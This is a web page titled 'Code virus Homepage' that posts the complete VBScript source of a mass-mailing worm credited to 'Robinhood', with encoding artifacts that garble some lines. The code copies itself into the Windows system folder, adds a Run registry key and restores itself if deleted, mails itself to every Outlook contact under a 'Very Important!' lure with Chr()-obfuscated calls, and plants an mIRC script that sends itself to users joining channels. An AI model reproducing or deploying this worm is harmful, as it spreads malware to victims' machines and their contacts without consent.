Code virus Homepage.

Code virus Homepage.

Code virus Homepage :

trang này đã được đọc lần

'Homepage Created By Robinhood

Set FSO =3D createobject("scripting.filesystemobject")

dirsystem =3D FSO.getspecialfolder(1)

Path=3D dirsystem & "Win32.dll.vbs"

Set WSH createobject("wscript.shell")

WSH.regwrite

"HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll",

"wscript.exe " & Path& " %"

FSO.copyfile wscript.scriptfullname, Path

payload=20

If =

WSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageSend

mail") <> 1 then

sendmail

End if

If

WSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionHomepageIRC"

) <> 1 then

IRC ""

End if

Set sourcefile=3D FSO.opentextfile(wscript.scriptfullname)

sourcetext sourcefile.readall

sourcefile.close

Do

if not(FSO.fileexists(wscript.scriptfullname)) then

set filebackup=3D FSO.createtextfile(wscript.scriptfullname)

filebackup.write sourcetext

filebackup.close

end if

sWSH.regread("HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll"

)

If s<> "wscript.exe " & Path& " %" then

WSH.regwrite =

"HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWin32dll", "wscript.exe " & Path& " %" end if

s=3D ""

loop=20

Function sendmail()

Set myapp =3D CreateObject("Outlook.Application")

If myapp =3D "Outlook" Then

Set myname =3D myapp.GetNameSpace("MAPI")

Set myaddlists =3D myname.AddressLists

For Each myaddlist In myaddlists

If myaddlist.AddressEntries.Count <> 0 Then

x =3D myaddlist.AddressEntries.Count

For i =3D 1 To x

Set mailitem =3D myapp.CreateItem(0)

Set myadd =3D myaddlist.AddressEntries(i)

mailitem.To =3D myadd.Address

mailitem.Subject =3D "Very Important!"

mailitem.Body =3D "Hi:" & vbcrlf & "Please view this file, it's very

important." & vbcrlf & ""

execute "set myatts =3Dmailitem." & Chr(65) & Chr(116) & Chr(116) &

Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116)

& Chr(115)

copypath Path

mailitem.DeleteAfterSubmit True

myatts.Add copypath

If mailitem.To <> "" Then

mailitem.Send

End If

Next

End If

Next

End If

End function

Function IRC(ircpath)

If ircpath <> "" Then

programpath

WSH.regread("HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion ProgramFilesDir")

If FSO.fileexists("c:mircmirc.ini") Then

ircpath =3D "c:mirc"

ElseIf FSO.fileexists("c:mirc32mirc.ini") Then

ircpath =3D "c:mirc32"

ElseIf FSO.fileexists(programpath & "mircmirc.ini") Then

ircpath =3D programpath & "mirc"

ElseIf FSO.fileexists(programpath & "mirc32mirc.ini") Then

ircpath =3D programpath & "mirc"

Else

ircpath =3D ""

End If

End If

If ircpath <> "" Then

Set ircscript =3D FSO.CreateTextFile(ircpath & "script.ini", True)

text =3D "[script]" & vbCrLf & "n0=3Don 1:JOIN:#:{"

text =3D text & vbCrLf & "n0=3Don 1:JOIN:#:{"

text =3D text & vbCrLf & "n1=3D /if ( $nick =3D=3D $me ) { halt }"

text =3D text & vbCrLf & "n2=3D /." & Chr(100) & Chr(99) & Chr(99) & " send $nick "

text =3D text & Path

text =3D text & vbCrLf & "n3=3D}"

ircscript.write(text)

ircscript.Close

End If

End Function=20

Function payload()

Randomize

If 1 + Int(Rnd * 5) =3D 7 then

WSH.run "Http://www.virii.com.ar",false

end if

end function